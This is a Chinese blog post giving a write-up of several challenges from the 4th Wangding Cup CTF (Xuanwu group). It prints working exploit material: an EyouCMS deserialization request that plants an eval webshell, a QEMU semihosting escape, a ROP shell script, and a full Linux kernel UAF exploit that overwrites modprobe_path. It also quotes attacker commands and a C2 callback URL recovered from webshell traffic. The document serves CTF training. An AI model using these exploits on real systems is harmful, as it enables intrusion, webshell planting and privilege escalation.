侧边栏壁纸
博主头像
慧棱镜 All In One 服务平台 博主等级

行动起来,活在当下

  • 累计撰写 23 篇文章
  • 累计创建 58 个标签
  • 累计收到 2 条评论

目 录CONTENT

文章目录

第四届“网鼎杯” CTF-玄武组部分WriteUP

创始者
2024-11-06 / 0 评论 / 0 点赞 / 27 阅读 / 0 字
广告 广告

image-1.png

这是第四届“网鼎杯”CTF(Capture The Flag,网络安全竞赛)中玄武组部分的WriteUP(解题报告),它详细介绍了Web安全、Pwn(二进制安全漏洞利用)、Reverse(逆向工程)和Misc(杂项)四个类别的题目解题过程。

介绍

第四届“网鼎杯”CTF(Capture The Flag,网络安全竞赛)是一场备受瞩目的网络安全领域赛事,它不仅吸引了众多网络安全爱好者和专业人士的关注,而且成为了一个展示技能和智慧的舞台。CTF比赛起源于1996年DEFCON全球黑客大会,最初是为了替代黑客之间通过互相发起真实攻击进行技术比拼的方式。如今,CTF已经成为全球网络安全圈流行的竞赛形式,类似于网络安全领域的“世界杯”。

这场赛事不仅是一次技能提升的机会,更是网络安全技术人员之间进行技术竞技的平台。通过参与CTF比赛,参赛者可以不断磨练自己的技能,提高对网络安全的认识和应对能力。第四届“网鼎杯”CTF在2024年10月至11月举行,分为官方资格赛、半决赛和总决赛三个赛段。官方资格赛在10月下旬以线上方式举办,采用“夺旗赛”(CTF)赛制,分青龙组、白虎组、朱雀组、玄武组四个赛道进行,每场比赛时长8小时。依据官方资格赛的总分,经组委会审定后确认晋级名单,共有600支战队,约2400人晋级半决赛。

在这场赛事中,参赛者们展现了极高的技术水平,破解了一个又一个看似无解的难题,同时也展现了团队合作的力量,共同攻克难关,取得了优异的成绩。大赛的奖项设置也非常丰富,包括一等奖、二等奖、三等奖以及网络安全金鼎奖、银鼎奖和铜鼎奖等多个奖项。这场赛事不仅让我们看到了网络安全领域的繁荣和发展,也让我们对未来的网络安全充满信心。

玄武组部分的WriteUP(解题报告)

Web ( 网站安全 )

web01

在Web安全类别中,web01题目涉及到Eyoucms框架的漏洞利用。通过检索历史漏洞和公开的漏洞信息,参赛者找到了一个0day漏洞(未公开的漏洞),并利用该漏洞通过弱口令进入后台。接着,通过修改dtype参数为region并利用payload进行保存修改,成功利用了这个漏洞。最终,通过访问特定的URL,参赛者获取了flag。

一般框架型都为历史漏洞或者最近公开一部分或者小部分的漏洞。进行检索

https://n1k0la-t.github.io/2023/01/28/EyouCMS%20v1.6.1%200day%E6%8C%96%E6%8E%98/ 

找到poc文章 https://cn-sec.com/archives/2640154.html 

进入后台,访问 login.php?m=Admin/login 通过弱口令 admin/admin 进入后台

找到漏洞点

新建一个栏目,修改 dtype 参数为 region

保存后,再次点击编辑,编辑时,会出现一个栏目对应的 id,点击编辑保存输入 payload 进行保存修改

POST /login.php?m=admin&c=Field&a=arctype_edit&_ajax=1&lang=cn HTTP/1.1
Host: xxx
Content-Length: 987
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Wayland like X11; FreeBSD; Linux x86_64; en-US; rv:131.0esr) Gecko/20160900 Firefox/131.0esr
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://xxx.com
Referer: http://xxxx.com/login.php?m=admin&c=Field&a=arctype_edit&id=546&lang=cn
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=2f61be676dee8f47f423fde9b3ef2e5d; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=switch_map%7CIndex
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
Connection: keep-alive

title=ceshi&name=ceshi&old_dtype=region&dfvalue=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A6%3A%22append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A5%3A%22error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A5%3A%22query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A6%3A%22styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A6%3A%22handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A3%3A%22tag%22%3Bs%3A1%3A%22t%22%3Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fstring.rot13%2Fresource%3D%3C%3Fcuc+%40riny%28%24_TRG%5B_%5D%29%3B%3F%3E%2F..%2Fa.php%22%3B%7D%7D%7D%7D%7D%7D%7D%7D&old_dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99&id=xxx&old_name=ceshi&dtype[]=region

并修改对应id,提示成功后,再次访问

http://xxx.cn:45783/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=546&_ajax=1

返回500及报错信息,则代表成功 

webshell地址为 a.php617ac73525b333bea4ac35a717dd8b0a.php

flag在根目录下

wdflag{2wcsvp5uynpnxqxkpevu8k9wdds22vxb}

web03

web03题目中,参赛者通过dirsearch工具发现了robots.txt文件,并从中获取了一个bmp图片以及用户名和密码。利用工具解密bmp文件后,得到了一个公钥。通过公钥爆破得到私钥,并利用私钥连接ssh,最终获取了flag。

详细步骤

dirsearch 跑出来robots.txt

访问得到一个 bmp 图片以及用户+密码

下载 bmp 文件,利用工具进行解密

得到公钥

得不到其他信息,猜测为公钥爆私钥 利用对应工具

https://github.com/RsaCtfTool/RsaCtfTool

ssh-rsa "AAAAB3NzaC1yc2EAAAADAQABAAABAHqSISYfkwuFeX20KTtyDhpG/nmyMK5MrmjKILUbLxpEtgw+4i0sIR4sWtNpGSVAMLZ4YO8EY6p7FBw0z4u0ALo2qC8I763lfKlNXH1WHWexRHd72MEpxpOzt79ukabEr7OWpRdDEISj3MyEalVNYGTKMt/TQWR/dnFd+TsDB2aRDBQQq9VfQhZ9Z864huQ4Du8PKg42plzfRPJsEhe4JpE0GW5QRap9ZNHM/4fSSHJlwqbBqGdeIjw+U7zY/RokxK979+f7SN6qMc9FzAUTnbwFGLpZe4ohz4pPJNrmRKfERTSKDoXw1krdDZuEZzCgiprpR8WqLvGoDXhYstcrgWU="

保存为a.pub 利用工具进行爆破

python3 RsaCtfTool.py --publickey ./a.pub --private

得到私钥

利用私钥连接 ssh

得到 flag wdflag{dtyg6g62z77ekx8ae23usuab2hgmn5qg}

Pwn ( 二进制安全漏洞利用 )

PWN01

PWN01题目是一个qemu逃逸类型的题目。参赛者通过分析qemu-aarch64和ld.so文件,发现qemu-aarch64存在半主机模式的功能,允许程序与主机系统进行交互。通过编写exp(exploit,利用代码),参赛者成功逃逸qemu并获得shell。

详细步骤:

题目附件只有qemu-aarch64和ld.so,看起来是qemu逃逸类型的题。

题目没有提供.patch文件,说明有可能没有对qemu源码进行修改,那么可能就得通过qemu自带的功能去利用。

通过搜索了解到qemu-aarch64存在一种叫半主机模式的功能,允许程序与主机系统进行交互。

https://www.qemu.org/docs/master/about/emulation.html

题目附件没有去除符号,用ida打开qemu-aarch64分析,搜索semihost。

从搜索结果上来看semihost似乎是启用了的。

查询arm官方文档了解semihosting接口的调用方式。

https://github.com/ARM-software/abi-aa/blob/main/semihosting/semihosting.rst#the-semihosting-interface

这里可以看到传递SYS_SYSTEM(0x12)给semihosting接口可以调用主机命令。

https://github.com/ARM-software/abi-aa/blob/main/semihosting/semihosting.rst#sys-system-0x12

根据文档编写出exp

int main()
{
asm volatile(
"adr x0, cmd\n"
"str x0, [sp]\n"
"mov x0, #2\n"
"str x0, [sp, #8]\n"
"mov x0, #0x12\n"
"mov x1, sp\n"
"hlt #0xf000\n"
"cmd: .ascii \"sh\""
        ::: "memory"
    );
return 0;
}

aarch64交叉编译,提取字节码。

aarch64-linux-gnu-gcc main.c -o main_exp

E0000010E00300F9400080D2E00700F9400280D2E103009100005ED47368000000008052C0035FD6

ida打开ld-linux-aarch64.so.1。把提取到的字节码修补到到so文件入口(0x1100),应用保存为exp。

不直接-static编译并上传的原因是运行会提示Bad system call,而且文件也偏大,刚好题目附件提供了ld.so直接拿来用就是了。

上传exp,交互拿到shell。

from pwn import *
p = remote("ip", port)
a = b64e(open('./exp', 'rb').read()).encode()p.sendlineafter(b'file: ', a)p.interactive()

PWN02

PWN02题目中,参赛者通过IDA分析发现fork函数可以劫持进程执行。通过在p1中劫持fork,使其执行hide函数中的strcopy函数,从而获取shell。利用这一漏洞,参赛者编写了相应的exploit代码并成功利用。

详细步骤

进IDA,p2中fork了一个子进程执行了p1

p1直接给了canary,但这里read没法溢出

p2这里也没有明显的利用点

但是发现了hide函数中有strcopy函数可以造成溢出,也调用了fork,看来需要劫持fork进程,让它执行这个函数拿shell

那么只要在p1中劫持fork,到hide函数中触发strcopy函数就能拿shell了

from pwn import *
io = process('./wd')
#io = remote('',)context(log_level = 'debug',arch='amd64')
pop_rdi = 0x40213fpop_rsi = 0x40a1aepop_rdx_rbx = 0x485febpop_rax = 0x450277syscall = 0x41AC26


#leak canary
io.recvuntil(b": ")canary = int(io.recvline(), 16)io.recvline()#jump hide
payload1 = b"a" * 0x28 + p32(1) + b"a" * 0x10io.send(payload1)io.recvline()
io.send(b"0") io.recvline()io.send(b"b" * 0x70)  io.recvline()
payload = b"a" * 0x64 + p32(0x11111111) + b"a" * 0x90 + p64(canary) + b"a" * 0x8 + p64(canary) + b"a" * 0x8##ret2syscallpayload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4c5000) + p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(pop_rax) + p64(0) + p64(syscall)payload += p64(pop_rdi) + p64(0x4c5000) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
io.send(payload)
sleep(0.8)
io.send(b"/bin/sh\x00") io.interactive()

PWN03

PWN03题目涉及到ioctl函数的滥用,可以造成UAF(Use-After-Free)和double free问题。参赛者利用这一漏洞泄露内核地址,并覆盖modprobe_path,最终获取flag。

详细步骤

给了很多操作函数,包括读写

ioctl能申请任意大小堆,可以造成UAF,double free

slab中不存在隔离机制,能使用的结构体很多

先free一次,利用UAF分配pipe_buffer结构体,调用read函数,拿到pipe_buffer 中pipe_buf_operations 的地址泄露内核地址,再free一次分配pg_vec数组,调用write函数利用USMA去覆盖modprobe_path

#define _GNU_SOURCE

#include <fcntl.h>

#include <string.h>

#include <stdint.h>

#include <linux/sched.h>

#include <linux/if_ether.h>

#include <linux/if_packet.h>

#include <sys/msg.h>

#include <sys/mman.h>

#include <sys/socket.h>



#define COLOR_GREEN "\033[32m"

#define COLOR_RED "\033[31m"

#define COLOR_YELLOW "\033[33m"

#define COLOR_DEFAULT "\033[0m"



#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)

#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)

#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)

#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)

#define die(fmt, ...)                      \

do {                                   \

                loge(fmt, ##__VA_ARGS__);          \

                loge("Exit at line %d", __LINE__); \

exit(1);                           \

        } while (0)





#define PIPE_SPRAY_NUM 1

int fd;

int orig_pid = -1, victim_pid = -1;

int pipe_fd[PIPE_SPRAY_NUM][2];

size_t kernel_base=0;



void unshare_setup()
{

int temp_fd;

uid_t uid = getuid();

gid_t gid = getgid();

char buffer[0x100];



if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))

    {

        perror("unshare(CLONE_NEWUSER | CLONE_NEWNS)");

exit(1);

    }



    temp_fd = open("/proc/self/setgroups", O_WRONLY);

    write(temp_fd, "deny", strlen("deny"));

    close(temp_fd);



    temp_fd = open("/proc/self/uid_map", O_WRONLY);

snprintf(buffer, sizeof(buffer), "0 %d 1", uid);

    write(temp_fd, buffer, strlen(buffer));

    close(temp_fd);



    temp_fd = open("/proc/self/gid_map", O_WRONLY);

snprintf(buffer, sizeof(buffer), "0 %d 1", gid);

    write(temp_fd, buffer, strlen(buffer));

    close(temp_fd);

return;

}



int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{

struct tpacket_req req;

int socket_fd, version;

int ret;



    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);

if (socket_fd < 0)

    {

        die("failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");

        ret = socket_fd;

goto err_out;

    }



    version = TPACKET_V1;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));

if (ret < 0)

    {

        die("failed at setsockopt(PACKET_VERSION)\n");

goto err_setsockopt;

    }



memset(&req, 0, sizeof(req));

    req.tp_block_size = size;

    req.tp_block_nr = nr;

    req.tp_frame_size = 0x1000;

    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;



    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));

if (ret < 0)

    {

        die("failed at setsockopt(PACKET_TX_RING)\n");

goto err_setsockopt;

    }



return socket_fd;



err_setsockopt:

    close(socket_fd);

err_out:

return ret;

}



int packet_socket_setup(uint32_t block_size, uint32_t frame_size,

uint32_t block_nr, uint32_t sizeof_priv, int timeout)
{

int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

if (s < 0)

    {

        perror("[-] socket (AF_PACKET)");

exit(1);

    }



int v = TPACKET_V3;

int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));

if (rv < 0)

    {

        perror("[-] setsockopt (PACKET_VERSION)");

exit(1);

    }



struct tpacket_req3 req3;

memset(&req3, 0, sizeof(req3));

    req3.tp_sizeof_priv = sizeof_priv;

    req3.tp_block_nr = block_nr;

    req3.tp_block_size = block_size;

    req3.tp_frame_size = frame_size;

    req3.tp_frame_nr = (block_size * block_nr) / frame_size;

    req3.tp_retire_blk_tov = timeout;

    req3.tp_feature_req_word = 0;



    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));

if (rv < 0)

    {

        perror("[-] setsockopt (PACKET_RX_RING)");

exit(1);

    }



struct sockaddr_ll sa;

memset(&sa, 0, sizeof(sa));

    sa.sll_family = PF_PACKET;

    sa.sll_protocol = htons(ETH_P_ALL);

    sa.sll_ifindex = if_nametoindex("lo");

    sa.sll_hatype = 0;

    sa.sll_halen = 0;

    sa.sll_pkttype = 0;

    sa.sll_halen = 0;



    rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));

if (rv < 0)

    {

        perror("[-] bind (AF_PACKET)");

exit(1);

    }



return s;

}

void main(){

    unshare_setup();

char* buf[0x1000];

    fd=open("/dev/easy",O_RDWR);

if (fd<0)

    {

        die("/dev/easy");

    }

    ioctl(fd,0,0x400);

    ioctl(fd,1,0x400);

for (int i = 0; i < PIPE_SPRAY_NUM; i++)

    {



if (pipe(pipe_fd[i]) < 0)

        {

            die("failed to alloc %d pipe!", i);

        }

    }

for (int i = 0; i < PIPE_SPRAY_NUM; i++)

    {

        write(pipe_fd[i][1], "a", 8);

    }

    read(fd,buf,0x40);

    kernel_base=*(size_t *)(buf+2)-0xa33200;

    logi("kernel_base :%llx",kernel_base);





    ioctl(fd,1,0x400);

int block_nr = 0x400 / 0x8;

int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000);



    *(size_t *)buf=kernel_base+0xe58000;

    write(fd,buf,0x8);

char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);    

if(page < 0){        

        die("page");   

    }

memcpy(page + 0xb80, "/tmp/modprobe", 14);

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");    

    system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/modprobe");    

    system("chmod +x /tmp/modprobe");    

    system("chmod +x /tmp/dummy");

    system("/tmp/dummy");



}


Reverse ( 逆向工程 )

RE02

RE02题目中,参赛者使用jadx工具反编译文件,发现了加密字符串和aes密钥。通过尝试解密这些密文,最终找到了flag的密文。

详细步骤

使用 jadx 反编译文件,发现一大堆加密字符串和 aes 密钥

尝试使用 aes 挨个解密密文,最终发现 flag 密文

Misc ( 杂项 )

MIS01

MIS01题目是一个关于网络安全的杂项挑战,涉及到攻击者如何获取管理员账户信息、感染应用、使用webshell等。参赛者通过分析流量和文件,成功回答了关于攻击者行为的一系列问题,并获取了flag。

详细步骤

(1/10) 攻击者拿到了其被感染应用的管理员账户 你能知道其管理员账户的信息是什么吗? 格式:用户名:密码 示例:aaaa:bbbb

分析流量只看到tomcat,应该感染的应用就是tomcat,直接去附件给的Challenge目录里看有没有tomcat-user.xml

请输入你的答案 > admin:admin 正确✅!

(2/10) 攻击者利用什么文件来成功感染应用 请提供其的完整路径 格式:C:/xxxss/ssssa/xxxx/cccs/ssss.xxxx 示例:C:/users/Appdat/123/xx.txt

分析流量找到webshell

但是并没有从流量中发现这玩意咋来的

于是去Challenge目录找

上级目录看到host.war

那应该就是通过这个war包得到的,搜一下谁引用了这个war包

server.xml

请输入你的答案 > C:/Users/Wang/Downloads/apache-tomcat-10.1.25-windows-x64/apache-tomcat-10.1.25/conf/server.xml 正确✅!

(3/10) 攻击者所使用webshell中的加密算法是什么? 用_分割即可 有两个 请注意编码不属于加密 格式:加密算法1_加密算法2 示例:DES_RSA

分析jsp,一样的在目录里有

可以看到是AES和XOR

请输入你的答案 > XOR_AES 正确✅!

(4/10) 从上一问所提及的两种算法其秘钥分别是多少? 用_分割即可 格式:KEY1_KEY2 示例:aaaaa_bbbbbb

同上

请输入你的答案 > 121b8df8c86ca5b4_2ed2bf6465e2ddc4 正确✅!

(5/10) 攻击者使用webshell删除了什么文件 示例:MD5(C:/users/Appdata/123/xx.txt) 以cyberchef结果为准

分析流量,根据给出的xorkey与aeskey编写解密脚本

import base64
from Crypto.Cipher import AES
import zlib

def decrypt(encrypted_data):
# Step 1: Base64 decoding
try:
        data = base64.b64decode(encrypted_data)
except Exception as e:
raise ValueError("Base64 decoding failed") from e

# # Debug: Print Base64 decoded length
# print(f"Decoded Base64 length: {len(data)}")

# Step 2: XOR operation
    xor_key = "121b8df8c86ca5b4"
    xor_key_bytes = xor_key.encode('utf-8')
    data = bytearray(data)
for i in range(len(data)):
        data[i] ^= xor_key_bytes[(i + 1) & 15]

# # Debug: Print XOR processed length
# print(f"XOR processed length: {len(data)}")

# Ensure the data is a multiple of 16 in length
if len(data) % 16 != 0:
        padding_length = 16 - (len(data) % 16)
        data.extend(b'\0' * padding_length)  # Pad with null bytes

# Step 3: AES decryption
    raw_key = "2ed2bf6465e2ddc4".encode('utf-8')
    cipher = AES.new(raw_key, AES.MODE_ECB)
    decrypted = cipher.decrypt(bytes(data))

# # Debug: Print decrypted length and first few bytes
# print(f"Decrypted length: {len(decrypted)}")
# print(f"Decrypted data (first 64 bytes): {decrypted[:64]}")

# Step 4: Attempt decompression using zlib
try:
        decompressed = zlib.decompress(decrypted)
return decompressed
except zlib.error as e:
# print("Decompression failed, returning raw decrypted data")
return decrypted

if __name__ == "__main__":
# 读取文件内容
with open('encrypted_data.txt', 'r') as file:
        encrypted_data = file.read().strip()  # 去掉任何可能的空白字符

try:
        decrypted_data = decrypt(encrypted_data)
        print(decrypted_data.decode('utf-8', errors='ignore'))  # Ignore errors for debugging
except Exception as e:
        print(f"An error occurred: {e}")

解密webshell数据,直到No.4061

解密发现

md5加密

请输入你的答案 > 233f926656cb3c3c81a2db426514c0f2 正确✅!

(6/10) 攻击者通过webshell上传了什么文件 你能知道其文件名吗? 示例:xxxx.txt

分析发现No.4333

解密后得到

这应该是查看当前目录的信息,对应的webshell的数据开头为8BG

而下一个类似数据在No.5212

解密得到

多了一个ZG93bmxvYWRDYWNoZQ==

请输入你的答案 > downloadCache 正确✅!

(7/10) 攻击者在文件上传后执行了什么命令 你可以给出完整的命令行吗? 示例:MD5(cmd.exe /c echo xxxx) 以cyberchef结果为准

在No.5259

发现执行了certutil

解密对应的请求体数据

cd /d "C:\Users\Wang\Documents"&certutil.exe -decode .\downloadCache .\ht-view.exe

md5加密certutil.exe -decode .\downloadCache .\ht-view.exe提交即可

请输入你的答案 > 516990ac9782dfac0168d453dd056779 正确✅!

(8/10) 攻击者所上传的文件其会加密什么后缀的文件 用_分割 后缀名都带.,若有多种后缀则按照字母序排列 示例:.exe_.dll

那么要提取出downloadCache了

在流量中可以看到

从No.4899开始的这个9个http流就是上传downloadCache的webshell数据

但解密拼接解base64之后发现不对

根据exe的特征找到头数据发现No.5045的请求体数据解密后得到头部

那么顺序应该被打乱了,为了方便这里以响应数据的流量序号来排序

将这9段数据全部解码后发现

No.5138(对应No.5045的响应数据)

No.5146

No.5144

No.5141

No.5148

No.5135

No.5131

No.5125

No.5129

看起来像顺序,于是响应数据的顺序为5138、5146、5144、5141、5148、5135、5131、5125、5129,按照顺序拼接解密数据后base64解码得到ht-view.exe

ht-view.exe是个C#程序,用dnSpy打开。

该函数能看到带什么后缀的文件会被加密。

请输入你的答案 >

.txt.doc.docx.xls.xlsx.ppt.pptx.odt.jpg.png.csv.sql.mdb.sln.php.asp.aspx.html.xml.psd 正确✅!

(9/10) 攻击者所上传的文件有无外联行为 如果有他请求的URL是什么? 示例:http://baidu.com 注意:以流量信息为准

ht-view.exe中可以找到

在No.5239中

请输入你的答案 > http://172.25.136.161:8100/?info=UbuntuWIN-E2J7QKKEBJ6-Wang%206k?TKl/Mu9?uFyia12c 正确✅!

(10/10) 机密文件被加密了 你可以拿到其解密内容吗 示例:MD5(flag{test}) 以cyberchef结果为准

password是长度15的随机字符串。

后续走http发送设备信息和密码。

在流量中查看到password是"6k?TKl/Mu9?uFyi"

先是计算了password的sha256哈希值,传给AES_Encrypt,加密完后添加后缀名.locked。

AES_Encrypt然后将哈希值传给Rfc2898DeriveBytes派生aes的key和iv,之后直接对文件进行AES加密。

在Challenge目录中找到/Users/Wang/Documents/secret.txt.locked

按照刚刚了解到的key、iv派生方式去解密。

MD5加密

请输入你的答案 > 2db6b20f6b16c2563d037f3f98e0f1ab 正确✅! 恭喜你完成了所有题目,这是你的flag �� --> FLAG=wdflag{p0cgssxmyhuut8qnvb1mpmmssyv619dp}

结束语

赛题难度与创新性

玄武组的赛题设计具有一定难度,覆盖了Web安全、Pwn、Reverse和Misc等多个领域,考验了参赛者的全面技术能力。从搜索结果来看,赛题不仅要求参赛者具备深厚的技术功底,还要求他们能够灵活运用各种工具和技巧解决问题。这些赛题的设计既考验了参赛者的理论知识,也锻炼了他们的实战能力,体现了CTF赛事的竞技性和实用性。

团队表现与竞争氛围

各个团队在本次比赛中展现出了极高的竞技状态和团队协作精神。例如,“有限能力公司”团队在比赛开始不久就迅速拿下了《简单的隐写》一血,显示出了他们的实力和速度。而“啊对”队和“啊对对”队也不甘示弱,分别夺得了两金一银和3688分的高分,展现了激烈的竞争态势。这些团队的表现不仅体现了个人的技术水平,更彰显了团队合作的力量。

学习与成长

参赛者们普遍表示,通过这次比赛,他们不仅复习了有用的知识,还体验到了CTF的激烈与精彩,实现了从0到1的突破。这种经历对于参赛者来说是宝贵的,它不仅提升了他们的专业技能,还增强了他们解决问题的能力和团队合作精神。

氛围营造与组织

本次比赛的组织方通过实时播报赛况和鼓励同学们,营造出了良好的竞争氛围。分组的均衡也使得比赛更加激烈和有趣,促进了参赛者之间的相互学习和讨论。这种组织方式不仅提高了比赛的观赏性,也促进了参赛者技能的提升。

综上所述,第四届“网鼎杯”CTF玄武组的赛题设计合理,难度适中,能够全面考察参赛者的能力。各个团队的表现也非常出色,展现了高水平的竞技状态和团队协作精神。整个比赛过程中,参赛者们不仅获得了技术上的提升,还体验到了团队合作的重要性和比赛的乐趣。

0
  1. 支付宝打赏

    qrcode alipay
  2. 微信打赏

    qrcode weixin
广告 广告

评论区